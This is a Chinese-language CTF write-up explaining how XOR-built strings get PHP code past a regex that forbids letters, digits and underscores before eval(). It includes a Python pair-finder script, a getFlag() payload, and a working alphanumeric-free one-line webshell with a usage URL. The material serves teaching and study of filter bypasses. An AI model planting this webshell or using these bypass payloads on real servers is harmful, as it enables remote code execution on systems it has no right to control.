这块知识众多大佬们都有分析过了,这里分享下自己的学习心路历程。
0x00 背景
起因是某金融比赛的一道PHP代码审计的CTF题目,题目如下:
<?php
include 'flag.php';
if(isset($_GET['t'])){
$_COOKIE['bash_token'] = $_GET['t'];
}else{
die("Token Lost.");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>500){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这道题的考点
就是如何避开正则检测去执行getFlag()
函数。而这里代码最后面,有用到eval
这个代码执行函数。
正则表达式/[A-Za-z0-9_]+/
是匹配所有大小写字母,数字,和下划线。
0x01 异或运算可以构造任何字母,数字,符号。
就比如要得到字母a,那么有如下组合:
<?php
echo "!" ^ "@";
echo "_" ^ ">";
echo "[" ^ ":";
echo "]" ^ "<";
echo ">" ^ "_";
echo "?" ^ "^";
echo "<" ^ "]";
echo "^" ^ "?";
echo "@" ^ "!";
echo ":" ^ "[";
?>
这里的异或运算是指,可以取每个字符的ASCII,转成二进制再做运算,为了方便,我写了一个脚本,通过查ASCII表的符合和字符的异或,打印出所有可能的组合,不过,这里我的脚本过滤了一些不可打印字符。
#author:Reborn
a_zA_Z0_9_ASCII=range(48,58)+range(65,91)+range(96,123)
a_zA_Z0_9_Plus=range(32,58)+range(65,91)+range(90,127)
SYMBOL_ASCII=range(32,48)+range(58,65)+range(91,97)+range(123,127)
print "[-] Waiting for create the dicts..."
dict_key=[]
dict_value = []
for i in SYMBOL_ASCII:
for j in SYMBOL_ASCII:
if i^j in a_zA_Z0_9_Plus:
dict_key.append((i,j,chr(i),chr(j)))
dict_value.append(chr(i^j))
dicts=dict(zip(dict_key,dict_value))
print "[+] OK,The dicts is create"
YourStr = "_GET"
print "[-] YourStr is : %s\n"%(YourStr)
for i in YourStr:
print "============ ",i,"Can following composition ========"
for k,v in dicts.items():
if v == "%s"%(i):
if (k[0] in SYMBOL_ASCII) and (k[1] in SYMBOL_ASCII):
print '"%s" ^ "%s"'%(k[2],k[3])
脚本效果如下:
0x02.关于定义变量
解决了字符问题,那回到这道题来。假设没有正则过滤,那么我们可以这么得到flag。
有正则,先尝试构造一个getFlag
出来,这里我先假设正则没有过滤下划线_
正则:/[A-Za-z0-9]+/
getFlag
是如下组合:
<?php
$_ = "]"^":" ; //g
$_.= "["^">"; //ge
$_.= "^"^"*"; //get
$_.= ";"^"}"; //getF
$_.= "@"^","; //getFl
$_.= "["^":"; //getFla
$_.= "]"^":"; //getFlag
echo $_;
?>
但是这也太多了是吧,可以这么写:
<?php
$_ = ("]"^":").("["^">").("^"^"*").(";"^"}").("@"^",").("["^":").("]"^":");
echo $_;
?>
也还是很长,其实可以这么写:
<?php
echo "][^;@[]"^":>*},::";
?>
但是发现这样直接利用是不行的
好了,如果没有过滤正则其实还可以这么构造:
code=$_GET[_]();&_=getFlag
那这里其实就是要组合一个_GET
,而&_
并不会被检测到。
但是这里如何定义变量啊?
再次查了查PHP变量的定义:
- 变量名只能包含字母数字字符以及下划线(A-z、0-9 和 _ )
我一直也认为,如果没有字母、数字和下划线,那就没办法定义一个新变量了。
其实花括号{}
可以用来定义变量,采用如下方式进行构造:
${xxx^ooo}
下面是测试:
<?php
@${"!"^"~"}="this is _ </br>"; //$_
@${"!"^"@"}="this is a </br>"; //$a
echo ${"!"^"~"};
echo ${"!"^"@"};
?>
那开始变换构造我们的语句:
$_="~}>)"^"!:{}"; //GET
${$_}[_]() // 花括号定义变量,即 ${GET}[_]() ,[_]是获取get请求_参数的值
&_=getFlag //在get请求中传入getFlag,题目并未对_参数做过滤
code=$_=("~}>)"^"!:{}");${$_}[_]();&_=getFlag
很遗憾,题目过滤了下划线:/[A-Za-z0-9_]+/
,所有又得换思路了:
code=$_=getFlag;$_();
_
可以由~
和!
来异或组成。
所以定义$_
变量可以这么定义:${"~"^"!"}
于是 getFlag
写成"][^;@[]"^":>*},::"
,我们构造最终payload:
code=${"~"^"!"}="][^;@[]"^":>*},::";${"~"^"!"}();
这道题到这里也就结束了,关于无字母和数字构造PHP代码,你可以用这种方式构造一个bypass的webshell。
0X03 一个一句话木马
<?php
@$_++;
$__=("~}>)"^"!:{}");
${$__}[!$_](${$__}[$_]);
?>
其实上面这个长这样:
<?php
$_GET[0]($_GET[1]);
?>
利用方式:127.0.0.1/b/3.php?0=assert&1=phpinfo();
0X04扩展学习
除了异或,P牛大佬还提出了一个取反的操作。这才是真大佬。
一些不包含数字和字母的webshell | 离别歌 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html